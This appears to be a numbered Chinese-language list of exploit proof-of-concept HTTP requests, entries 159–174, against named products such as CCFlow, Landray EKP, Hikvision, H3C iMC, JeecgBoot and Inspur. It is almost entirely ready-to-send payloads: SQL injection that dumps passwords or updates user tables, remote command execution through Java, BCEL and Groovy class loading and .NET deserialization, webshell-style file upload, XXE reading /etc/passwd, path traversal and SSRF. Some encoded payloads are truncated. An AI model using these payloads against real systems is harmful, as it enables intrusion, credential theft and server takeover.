Content-Length: 70
```

159.驰骋 CCFlow 接口 Handler.ashx 存在 SQL 注入

```
POST /WF/Comm/Handler.ashx?DoType=RunSQL_Init HTTP/1.1
Host:
Accept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
Content-Length: 160
Content-Type: multipart/form-data; boundary=----123128312312389898yd98ays98d
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/126.0.0.0 Safari/537.36

------123128312312389898yd98ays98d
Content-Disposition: form-data; name="SQL"

SELECT No,Pass FROM Port_Emp
------123128312312389898yd98ays98d--
```

160.蓝凌 EKP 系统 dataxml.tmpl 存在命令执行漏洞

```
POST /ekp/data/sys-common/dataxml.tmpl    HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0)    Gecko/20100101 Firefox/92.0
Accept:    text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language:    zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 192
```

```
s_bean=ruleFormulaValidate&script=try {
String cmd = "ping {{interactsh-url}}";
Process child = Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
System.err.println(e);
}
```

161.同享 TXEHR V15 人力管理管理平台 hdlUploadFile 存在任意文件上传漏洞

```
POST /MobileService/Web/Handler/hdlUploadFile.ashx?puser=../../../Style/abcd HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:126.0) Gecko/20100101
Firefox/126.0
Accept: */*
§Content-Type: multipart/form-data;
boundary=---------------------------452508029249734584711748112 79
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

-----------------------------452508029249734584711748112 79
Content-Disposition: form-data; name="Filedata"; filename="1.aspx"
Content-Type: image/png

<%@ Page Language="C#"%>
<%
Response.Write(FormsAuthentication.HashPasswordForStoringInConfigFile("123456", "MD5"));
System.IO.File.Delete(Request.PhysicalPath);
%>
-----------------------------452508029249734584711748112 79--
```

162.宏景 eHR 人力资源管理 loadhistroyorgtree-SQL 注入

```
GET
/w_selfservice/oauthservlet/%2e./.%2e/general/inform/org/loadhistroyorgtree?isroot=child&par
entid=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&kind=2&catalog_id=1&issuperuser=11
1&manageprive=1&action=1&target= HTTP/1.1
Host:
```

```
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Upgrade-Insecure-Requests: 1
```

163.万户 OA-graph_include-SQL 注入漏洞

```
GET /defaultroot/platform/report/graphreport/graph_include.jsp?§id=2&startDate=2022-01-01%2000:00:00.000%27%20as%20datetime)%20group%20by%20t.emp_id,t.empname%20)%20%20s%20group%20by%20empname%20order%20by%20num%20desc%20%20WAITFOR%20DELAY%20%270:0:2%27--§ HTTP/1.1
Host: {{Hostname}}
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
```

164.网御星云 SSLVPN 系统 SQL 注入

```
POST /vpn/user/auth/collect_machineinfo HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded

os_type=android&mac=0&hardware_hash=0&ip=0&assistant_info=aaa=1&host=1');UPDATE user_table SET name='' where name='[anonymity]';
```

165.海康威视综合安防管理平台 uploadAllPackage 任意文件上传漏洞

```
POST /center_install/picUploadService/v1/uploadAllPackage/image HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: */*
Host:
Accept-Encoding: gzip, deflate
Connection: close
Token:
SElLIGlhL3NmaGNjaTY3WWxWK0Y6UzVCcjg1a2N1dENqVUNIOUM3SE1GamNkN2dnTE1BN1dGT
```

```
DJldFE0UXFvbz0=
Content-Type: multipart/form-data; boundary=--------------------------5538987083339584200213 55
Content-Length: 233

----------------------------5538987083339584200213 55
Content-Disposition: form-data; name="sendfile";
filename="../../../../components/tomcat85linux64.1/webapps/eportal/y4.js"
Content-Type: application/octet-stream

expzhizhuo
----------------------------5538987083339584200213 55--
```

166.JeecgBoot 积木报表/jmreport/save 接口 AviatorScript 表达式注入漏洞

```
POST /jmreport/save?previousPage=xx&jmLink=YWFhfHxiYmI=&token=123 HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
Content-Length: 2081

{
    "loopBlockList": [],
    "area": false,
    "printElWidth": 718,
    "excel_config_id": "9808826699654553631",
    "printElHeight": 1047,
    "rows": {
        "4": {
            "cells": {
                "4": {
                    "text":
"=(c=Class.forName('$$BCEL$$$l$8b$I$A$A$A$A$A$AeP$cbN$c2$40$U$3dCK$5bk$95$97$f8
$7e$c4$95$c0$c2$s$c6$j$c6$NjbR$c5$88a_$ca$E$86$40k$da$c1$f0Y$baQ$e3$c2$P$f0$a3$8c
w$w$B$a2M$e6$de9$e7$9es$e6$a6_$df$l$9f$ANq$60$p$8b$b2$8dul$a8$b2ib$cb$c46$83q$s
B$n$cf$Z$b4J$b5$cd$a07$a2$$g$c8y$o$e4$b7$e3Q$87$c7$P$7egHL$d1$8b$C$7f$d8$f6c$a1$
f0$94$d4e_$q$MY$afqsQ$t$c8$t$3c$608$aax$D$ff$c9w$87$7e$d8s$5b2$Wa$af$5e$5d$a0$e
e$e2$u$e0IB$G$z$YuU$f4$3f9$83$7d9$J$f8$a3$UQ$98$98$d8$n$dc$8a$c6q$c0$af$84z$d7$a
2$f7$8e$95$c9$81$B$d3$c4$ae$83$3d$ec$3bX$c1$w$85$d2$90$n$3f$cflv$G$3c$90$M$a5$9
4$S$91$7b$dd$9c$853$U$e6$c2$fbq$u$c5$88$f2$ed$k$973P$ae$y$$$3f$a5$eb8$84N$7fT$7
d$Z0$b5$GU$8b$90K$9dQ$cf$d6$de$c0$5e$d2$f1$SU$p$r5$d8T$9d_$B$96$e9$G$9a$d2$da
$a4R$e6$934$M$b0$de$91$a9$bdB$7b$fe$e37$W$fc$Wr$c8S$_$d0$d1$89$v$d2$v$a5$fa$b5
```

```
$l$d5$l$f2$9c$f6$B$A$A',true,new
com.sun.org.apache.bcel.internal.util.ClassLoader()))+(c.exec('touch /tmp/rced2'));",
                        "style": 0
                    }
                },
                "height": 25
            },
            "len": 96,
            "-1": {
                "cells": {
                    "-1": {
                        "text": "${gongsi.id}"
                    }
                },
                "isDrag": true
            }
        },
        "dbexps": [],
        "toolPrintSizeObj": {
            "printType": "A4",
            "widthPx": 718,
            "heightPx": 1047
        },
        "dicts": [],
        "freeze": "A1",
        "dataRectWidth": 701,
        "background": false,
        "name": "sheet1",
        "autofilter": {},
        "styles": [
            {
                "align": "center"
            }
        ],
        "validations": [],
        "cols": {
            "4": {
                "width": 95
            },
            "len": 50
        },
        "merges": [
            "E4:F4",
            "B4:B5",
```

```
            "C4:C5",
            "D4:D5",
            "G4:G5",
            "H4:H5",
            "I4:I5",
            "D1:G1",
            "H3:I3"
        ]
}
```

167.Journyx 项目管理软件 soap_cgi.pyc 存在 XML 外部实体注入漏洞

```
POST /jtcgi/soap_cgi.pyc HTTP/1.1
Host: {{Hostname}}
Content-Type: application/xml

<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM
"file:///etc/passwd">]><soapenv:Envelope
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header/><soapenv:Bo
dy><changeUserPassword><username>&test;</username><curpwd></curpwd><newpwd></ne
wpwd></changeUserPassword></soapenv:Body></soapenv:Envelope>
```

168.H3C-iMC 智能管理中心 autoDeploy.xhtml 存在远程代码执行漏洞

```
POST /imc/dc3dtopo/dc2dtopo/autoDeploy.xhtml;.png HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/94.0.2558.72 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Via: whoami
Content-Length: 2188

javax.faces.ViewState=8SzWaaoxnkq9php028NtXbT98DEcA...Uh57HB/L8xz6eq%2b4sy0rUOuOdM
5ccd2J6LPx8c6%2b53QkrX...jpFKgVnp07bad4n6CCBW8l98QIKwByAhLYdU2VpB/voaa....2oU%2bur
ahQDFE8mIaFvmwyKOHiwyovIHCVymqKwNdWXm3iHLhYEQXL4....k3z7MWm%2bwbV2Dc9TXV4r
s8E6M7ZvVM3B0pORK8vAhd2iLBkgFhGHw9ZgOwifGnyMzfxlU....gG4chEOg57teuLurMPrulbEVBA
El7rRwobqvxb91sG%2bGMrGWFL5%2bwFvE56x7UEzHtE/o0IRtzTKi/EFnamrPT1046e7L8jABKDB/L
jCX2qAOmqQkIz4gXrEFnHHYZ9LZc7t9ZZPNT...JZjummuZuror/zwPbnsApwXlYsn2hDAZ7QlOBunA3
t7omeOTI5keWXvmOH8eoEEN//SlmQblwhBZ7kSHPvStq0ZciiPptEzVjQ/k/gU2QbCSc7yG0MFbhcJ
EDQj4yKyJ/yTnOOma....KuNzZl%2bPpEua%2b28h2YCKipVb5S/wOCrg%2bKD3DUFCbdWHQRqDaZ
```

```
yvYsc8C0X7fzutiVUlSB7OdGoCjub9WuW0d2eeDWZmOt3Wunms3SwAbE7R%2bonCRVS8tiYWF8q
iQS%2bl0k8Gw/Hz6Njpfe0upLIAtPFNDuSf69qGg4isEmY2FtoSQTdD8vU0BdJatHrBArPgo9Qsp0jSJBl
Uz2OqteQg05PYO6gEBXVj/RiTBHI1/pOzlcE0wVZcLUHnxGNvckSCTiT....nWbkWGJ8AYCvrM0PHZ/B
YcKKRf3rMHoIqcAN%2bORMhXcmAXRcvq29c5xqoOuvrMSJPDZmbZhcm/99crGJSO5HxXQder9WK
m2tVBaDLEC9ulpWyICJYgfxayoWkt6vwPcq2Tn20vn5RDpfqJKLNLbrV8g7JDRUUyW%2b....R6PRNu
nKhfJHvHcXAZ73mkCUf7cMUbNhqCbLSGP/D%2bqpqWXk5ZWjsT4tQ9tFH9uvPIaNB7FlcFXI2I2A9o
PoY0ltif%2bb8BdPXVfpuZq8boHE4hY%2b33Bll%2bIa%2bov6nyMmGIzCKYeRbfDJtk/45EXvink6BIg
A/205la6vvqKTGQ32o1AtepBgKei....604cVvbEP7UKor09Gz61mryE4D%2biXG1prZGCT3LEtdASuCk
mf4RTEc5wks2In3ElZSZl8zf3RsHA0dgbvrpnXe2wLPI%2bUCAGO%2biOG9/%2bbCQJQNFmykkyRb
mslfcilUxZ%2bIg%2bQuOs9FlMod2ICrkktOFFeZWNeznx737S8H4Nf2%2bp2QNHY2I6GFGtWpqjeZ
%2bGmb1euM5Tzi06eJ.......koPrjkDT9VPoxCgpRMQl06x7NShkos7BCI9fV1%2b17t5gWZvqAYzeQU
sZLaiBXaZfuUtPuBmbq1re/dB/VgSOn4QX%2b8AwwDjtfazsHw4aIdh4e2a1y/Ou2ZiI//EzkwIBksY6C
luuPgocdvtOfNiWcXsfYs3UKLmL/48A4Ls0OF1TrQK4UnfCYt.....1DGrwzfXnM9vLHznFaJenqvLY3yTiK
N5SSVxvGwvhmp6PFW4Jj7G8NXdr/zN7HyC9Eg1Y1jKP7uiO%2bGM2U/etvMOCKwnfP2MnbznP37
8fZHf1H9yiVVrn%2bm%2b0u8PV.....2MsOTgS6B7C8ItflgSfJz5dkJ8IssRAcY%2bu/2QjrW95BBMSRP
u2EaCUm1IpuszXEwHYgDizWPzDB0hSRgCEjncpGhPX3i10bK4/snBaBcAxAa1e2er2LDe/4WgaIwc9
w2wKn3wXY5B87BKF5/Xq30....NNf6EMRrQ9154rEkCJb4IU4sFsTuyYlfZatlV%2bC2HM7u7FEbdVvr
6yYK4oQqvfPmF5yRplwAYUQAvr1jwLbGYxhGaTy14UUrtvoyph5Sqebk2YTKjKX4U7xX5ha4YbyoVI
MSRzdvB6YXDY3BId%2bgmMWZtTf2UE%2b9UAx/7g30pQNXA....FP1adq6ySd4x3dGVCe4YJcYe2g
KWYVcWj5XPwUSt2fxdshzgFnjjqmRgxowH2u2nZU0xG539lnxIOlB
```

169.科讯一卡通管理系统/DataService.asmx get_sb_guanli 存在 SQL 注入漏洞

```
POST /DataService.asmx HTTP/1.1
Host: {{Hostname}}
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://tempuri.org/ExeAppCmd"

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <ExeAppCmd xmlns="http://tempuri.org/">
      <str>{"cmd":"get_sb_guanli","Type":"1');WAITFOR DELAY '0:0:4'--"}</str>
      <files>MTIz</files>
    </ExeAppCmd>
  </soap:Body>
</soap:Envelope>
```

170.三汇网关管理软件 debug.php 远程命令执行漏洞

```
POST /debug.php HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAEiWTHP0DxJ7Uwmb

------WebKitFormBoundaryAEiWTHP0DxJ7Uwmb
Content-Disposition: form-data; name="comdtype"

1
------WebKitFormBoundaryAEiWTHP0DxJ7Uwmb
Content-Disposition: form-data; name="cmd"

sleep 3
------WebKitFormBoundaryAEiWTHP0DxJ7Uwmb
Content-Disposition: form-data; name="run"

------WebKitFormBoundaryAEiWTHP0DxJ7Uwmb--
```

171.龙腾 CMS /api/file/downloadUrl 存在 SSRF 漏洞

```
GET /api/file/downloadUrl?file=http://r.zhiqian.info HTTP/1.1
Host: {{Hostname}}
```

172.龙腾 CMS /api/file/downloadFile 存在任意文件读取漏洞

```
GET /api/file/downloadFile?file=../../../../../../../../../../../../../../../../etc/passwd HTTP/1.1
Host: {{Hostname}}
```

173.甄云 SRM 系统/oauth/public/远程命令执行

```
GET
/oauth/public/%5f%5f%24%7bT(groovy.lang.GroovyClassLoader).newInstance().defineClass('CALC',T(com.sun.org.apache.xml.internal.security.utils.Base64).decode('yv66vgAAADQAqwoAJABOCgBPAFAHAFEKAAMAUgoAAwBTCwBUAFUIAD8LAFYAVwcAWAoAWQBaCgBbAFwKAAkAXQgAXgoAXwBgCgAJAGEIAGIKAAkAYwgAZAgAZQgAZggAZwoAaABpCgBoAGoKAGsAbAcAbQoAGQBuCABvCgAZAHAKABkAcQoAGQByCABzCgB0AHUKAHQAdgoAdAB3BwB4BwB5AQAGPGluaXQ%2bAQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAB2lzTGludXg
```

BAAFaAQAFb3NUeXABABJMamF2YS9sYW5nL1N0cmluZzsBAARjbWRzAQATW0xqYXZhL2xhbmcvU
3RyaW5nOwEAAmluAQAVTGphdmEvaW8vSW5wdXRTdHJlYW07AQABcwEAE0xqYXZhL3V0aWwv
U2Nhbm5lcjsBAAZvdXRwdXQBAAR0aGlzAQAGTENBTEM7AQACc3IBAEJMb3JnL3NwcmluZ2ZyYW
1ld29yay93ZWIvY29udGV4dC9yZXF1ZXN0L1NlcnZsZXRSZXF1ZXN0QXR0cmlidXRlczsBAAdyZXF1ZX
N0AQAnTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7AQAIcmVzcG9uc2UBACh
MamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7AQALcHJpbnRXcml0ZXIBAB
VMamF2YS9pby9QcmludFdyaXRlcjsBAAh1c2VybmFtZQEADVN0YWNrTWFwVGFibGUHAHgHAFEH
AHoHAHsHAHwHAFgHAC8HAH0HAG0BAApFeGNlcHRpb25zBwB%2bAQAKU291cmNlRmlsZQEAC
UNBTEMuamF2YQwAJQAmBwBxxxxDACAAIEBAEBvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZX
h0L3JlcXVlc3QvU2VydmxldFJlcXVlc3RBdHRyaWJ1dGVzDACCAIMMAIQAhQcAewwAhgCHBwB6DA
ClAIkBABBqYXZhL2xhbmcvU3RyaW5nBwCKDACLAI4HAI8MAJAAkQwAJQCSAQAHb3MubmFtZQcA
kwwAlACJDACVAJYBAAN3aW4MAJcAmAEAAnNoAQACLWMBAAdjbWQuZXhlAQACL2MHAJkMAJ
oAmwwAnACdBwCeDACfAKABABFqYXZhL3V0aWwvU2Nhbm5lcgwAJQChAQACXGEMAKIAowwA
pAClDACmAJYBAAAHAHwMAKcAqAwAqQAmDACqACYBAARDQUxDAQAQamF2YS9sYW5nL09iam
VjdAEAJWphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3QBACZqYXZheC9zZXJ2bGV0L
2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZQEAE2phdmEvaW8vUHJpbnRXcml0ZXIBABNqYXZhL2lvL0l
ucHV0U3RyZWFtAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAPG9yZy9zcHJpbmdmcmFtZXdvcmsvd2V
iL2NvbnRleHQvcmVxdWVzdC9SZXF1ZXN0Q29udGV4dEhvbGRlcgEAFGdldFJlcXVlc3RBdHRyaWJ1d
GVzAQA9KClMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9yZXF1ZXN0L1JlcXVlc3RBdHR
yaWJ1dGVzOwEACmdldFJlcXVlc3QBACkoKUxqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZX
F1ZXN0OwEAC2dldFJlc3BvbnNlAQAqKClMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0Um
VzcG9uc2U7AQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsBAAxnZXRQYXJhbWV
0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAEGphdmEvdXRpb
C9CYXNlNjQBAApnZXREZWNvZGVyAQAHRGVjb2RlcgEADElubmVyQ2xhc3NlcwEAHCgpTGphdmEv
dXRpbC9CYXNlNjQkRGVjb2RlcjsBABhqYXZhL3V0aWwvQmFzZTY0JERlY29kZXIBAAZkZWNvZGUBA
BYoTGphdmEvbGFuZy9TdHJpbmc7KVtCAQAFKFtCKVYBABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0U
HJvcGVydHkBAAt0b0xvd2VyQ2FzZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAIY29udGFpbnMBA
BsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1
bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cml
uZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRT
dHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTsp
VgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyO
wEAB2hhc05leHQBAAMoKVoBAARuZXh0AQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzs
pVgEABWZsdXNoAQAFY2xvc2UAIQAjACQAAAAAAAEAAQAlACYAAgAnAAACGAAEAAwAAADZKrcA
AbgAAsAAA0wrtgAETSu2AAVOLbkABgEAOgQsEge5AAgCADoFGQXGAKW7AAlZuAAKGQW2AAu3A
Aw6BQQ2BhINuAAOOgcZB8YAExkHtgAPEhC2ABGZAAYDNgYVBpkAGQa9AAlZAxISU1kEEhNTWQU
ZBVOnABYGvQAJWQMSFFNZBBIVU1kFGQVTOgi4ABYZCLYAF7YAGDoJuwAZWRkJtwAaEhu2ABw6C
hkKtgAdmQALGQq2AB6nAAUSHzoLGQQZC7YAIBkEtgAhGQS2ACIZBLYAIRkEtgAisQAAAAMAKAAAA
FoAFgAAAAwABAAOAAsADwAQABAAFQARAB0AEwAnABQALAAWAD0AGABAABkARwAaAFkAGw
BcAB4AjAAfAJkAIACpACEAvQAiAMQAIwDJACQAzgAnANMAKADYACkAKQAAAHoADABAAI4AKgAr
AAYARwCHACwALQAHAIwAQgAuAC8ACACZADUAMAAxAAkAqQAlADIAMwAKAL0AEQA0AC0ACw
AAANkANQA2AAAACwDOADcAOAABABAAyQA5ADoAAgAVAMQAOwA8AAMAHQC8AD0APgAEAC
cAsgAxxxxAC0ABQBAAAAATQAGxxxxwBcAAgHAEEHAEIHAEMHAEQHAEUHAEYBBwBGAAAaUgcA
Rxxxx4ALgcARwcASAcASUEHAEbxxxxABIABgcAQQcAQgcAQwcARAcARQcARgAAAEoAAAAEAAEAS

```
wACAEwAAAACAE0AjQAAAAoAAQBbAFkAjAAJ'.replace('xxxx',new%20String(T(com.sun.org.apache.xml.internal.security.utils.Base64).decode('Lw==')))))).newInstance()-1%7d%5f%5f%3a%3a%78/ab?username=aWQ= HTTP/1.1
Host: {{Hostname}}
```

174.浪潮企业管理软件-GSP_UnitDefineWebService-远程命令执行

```
POST /cwbase/service/GSP_UnitDefineWebService.asmx HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Content-Type: text/xml
cmd: whoami

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <AddUnitSave xmlns="http://tempuri.org/">

<unitData>AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACFTeXN0ZW0uV2luZG93cy5Gb3Jtcy5BeEhvc3QrU3RhdGUBAAAAEVByb3BlcnR5QmFnQmluYXJ5BwICAAAACQMAAAAPAwAAAMctAAACAAEAAAD/////AQAAAAAAAAAEAQAAAH9TeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5MaXN0YDFbW1N5c3RlbS5PYmplY3QsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dAwAAAAZfaXRlbXMFX3NpemUIX3ZlcnNpb24FAAAICAkCAAAACgAAAAoAAAAQAgAAABAAAAAJAwAAAAkEAAAACQUAAAAJBgAAAAkHAAAACQgAAAAJCQAAAAkKAAAACQsAAAJDAAAAA0GBwMAAAABAQAAAAEAAAAHAgkNAAAADA4AAABhU3lzdGVtLldvcmtmbG93LkNvbXBvbmVudE1vZGVsLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49MzFiZjM4NTZhZDM2NGUzNQUEAAAAalN5c3RlbS5Xb3JrZmxvdy5Db21wb25lbnRNb2RlbC5TZXJpYWxpemFOaW9uLkFjdGl2aXR5U3Vycm9nYXRlU2VsZWN0b3IrT2JqZWN0U3Vycm9nYXRlK09iamVjdFNlcmlhbGl6ZWRSZWYCAAAABHR5cGULbWVtYmVyRGF0YXMDBR9TeXN0ZW0uVW5pdHlTZXJpYWxpemF0aW9uSG9sZGVyDgAAAAkPAAAACRAAAAABBQAAAAQAAAAJEQAAAAkSAAAAQYAAAAEAAAACRMAAAAJFAAAAAEHAAAABAAAAAkVAAAACRYAAAABCAAAAAQAAAAJFwAAAAkYAAAAAQkAAAAEAAAACRkAAAAJGgAAAAEKAAAABAAAAAkbAAAACRwAAAABCwAAAAQAAAAJHQAAAAkeAAAABAwAAAAcU3lzdGVtLkNvbGxlY3Rpb25zLkhhc2h0YWJsZQcAAAAKTG9hZEZhY3RvcgdWZXJzaW9uCENvbXBhcmVyEEhhc2hDb2RlUHJvdmlkZXIISGFzaFNpemUES2V5cwZWYWx1ZXMAAAMDAAUFCwgcU3lzdGVtLkNvbGxlY3Rpb25zLklDb21wYXJlciRTeXN0ZW0uQ29sbGVjdGlvbnMuSUhhc2hDb2RlUHJvdmlkZXII7FE4PwIAAAAKCgMAAAAJHwAAAAkgAAADw0AAAAAEAAAAk1akAADAAAABAAAAP//AAC4AAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
```

AAAAAAIAAAAAOH7oOALQJzSG4AUzNIVRoaXMgcHJvZ3JhbSBjYW5ub3QgYmUgcnVuIGluIERPUyB
tb2RlLg0NCiQAAAAAAAAAUEUAAEwBAwBrydRkAAAAAAAAAADgAAIhCwELAAAIAAAABgAAAAAA
AN4mAAAAIAAAAEAAAAAAABAAIAAAAAIAAAQAAAAAAAAABAAAAAAAAAAAgAAAAAIAAAAAAA
ADAECFAAAQAAAQAAAAABAAABAAAAAAAAAQAAAAAAAAAAAAAACQJgAASwAAAABAAACoAgA
AAAAAAAAAAAAAAAAAAAAAABgAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAgAAAAAAAAAAAAAAAggAABIAAAAAAAAAAAA
AAAudGV4dAAAAOQGAAAAIAAAAAgAAAACAAAAAAAAAAAAAAAAAAAAAgAABgLnJzcmMAAACoAg
AAAEAAAAAEAAAACgAAAAAAAAAAAAAAAAAQAAAQC5yZWxvYwAADAAAAABgAAAAgAAAA4
AAAAAAAAAAAAAAAAAAEAAAEIAAAAAAAAAAAAAAAAAAAAAwCYAAAAAAABIAAAAAgAFADAhA
ABgBQAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAbMAMAwwAAAAEAABECKAMAAAooBAAACgoGbwUAAApvBgAACgZvBwAAC
m8IAAAKcwkAAAoLB28KAAAKcgEAAHBvCwAACgZvDAAACm8NAAAKchEAAHBvDgAACgwHbwoAA
ApyGQAAcAgoDwAACm8QAAAKB28KAAAKF28RAAAKB28KAAAKF28SAAAKB28KAAAKFm8TAAAK
B28UAAAKJgdvFQAACm8WAAAKDQZvBwAACglvFwAACt4DJt4ABm8HAAAKbxgAAAoGbwcAAApv
GQAACioAARAAAAAAIgCHqQADDgAAAUJTSkIBAAEAAAAAAAwAAAB2NC4wLjMwMzE5AAAAAAU
AbAAAALwBAAAjfgAAKAIAAHQCAAAjU3RyaW5ncwAAAACcBAAAJAAAACNVUwDABAAAEAAAAC
NHVUlEAAAA0AQAAJAAAAAjQmxvYgAAAAAAAAACAAABRxQCAAkAAAAA+iUzABYAAAEAAAAOAA
AAAgAAAAEAAAAZAAAAAgAAAAEAAAABAAAAAwAAAAACgABAAAAAAAGACkAIgAGAFAYANgAG
AHYANgAKAKgAnQAKAMAAnQAKAOgAnQAOABsBCAEOACMBCAEKAE8BnQAOAIYBZwEGAK8BIgA
GACQCGgIGAEQCGgIGAGkCIgAAAAAAAQAAAAAAAQABAAAAEAAXAAAABQABAAEAUCAAAAAAh
hgwAAoAAQARADAADgAZADAACgAJADAACgAhALQAHAAhANIAIQApAN0ACgAhAPUAJgAxAAIBCg
A5ADAACgA5ADQBKwBBAEIBMAAhAFsBNQBJAJoBOgBRAKYBPwBZALYBRABBAL0BMABBAMsBSg
BBAOYBSgBBAAACSgA5ABQCTwA5ADECUwBpAE8CWAAxAFkCMAAxAF8CCgAxAGUCCgAuAAsAZ
QAuABMAbgBcAASAAAAAAAAAAAAAAAAAAAAAAAJQAAAAEAAAAAAAAAAAAAABABkAAAAAAA
QAAAAAAAAAAAAAABMAnQAAAAAABAAAAAAAAAAAAAAAQAiAAAAAAAAAAA8TW9kdWxlPgB
rd3V3YWNwdy5kbGwARQBtc2NvcmxpYgBTeXN0ZW0AT2JqZWN0AC5jdG9yAFN5c3RlbS5SdW50a
W1lLkNvbXBpbGVyU2VydmljZXMAQ29tcGlsYXRpb25SZWxheGF0aW9uc0F0dHJpYnV0ZQBSdW50
aW1lQ29tcGF0aWJpbGl0eUF0dHJpYnV0ZQBrd3V3YWNwdwBTeXN0ZW0uV2ViAEh0dHBDb250ZX
h0AGdldF9DdXJyZW50AEh0dHBTZXJ2ZXJVdGlsaXR5AGdldF9TZXJ2ZXIAQ2xlYXJFcnJvcgBIdHRwUm
VzcG9uc2UAZ2V0X1Jlc3BvbnNlAENsZWFyAFN5c3RlbS5EaWFnbm9zdGljcwBQcm9jZXNzAFByb2Nl
c3NTdGFydEluZm8AZ2V0X1N0YXJ0SW5mbwBzZXRfRmlsZU5hbWUASHR0cFJlcXVlc3QAZ2V0X1Jlc
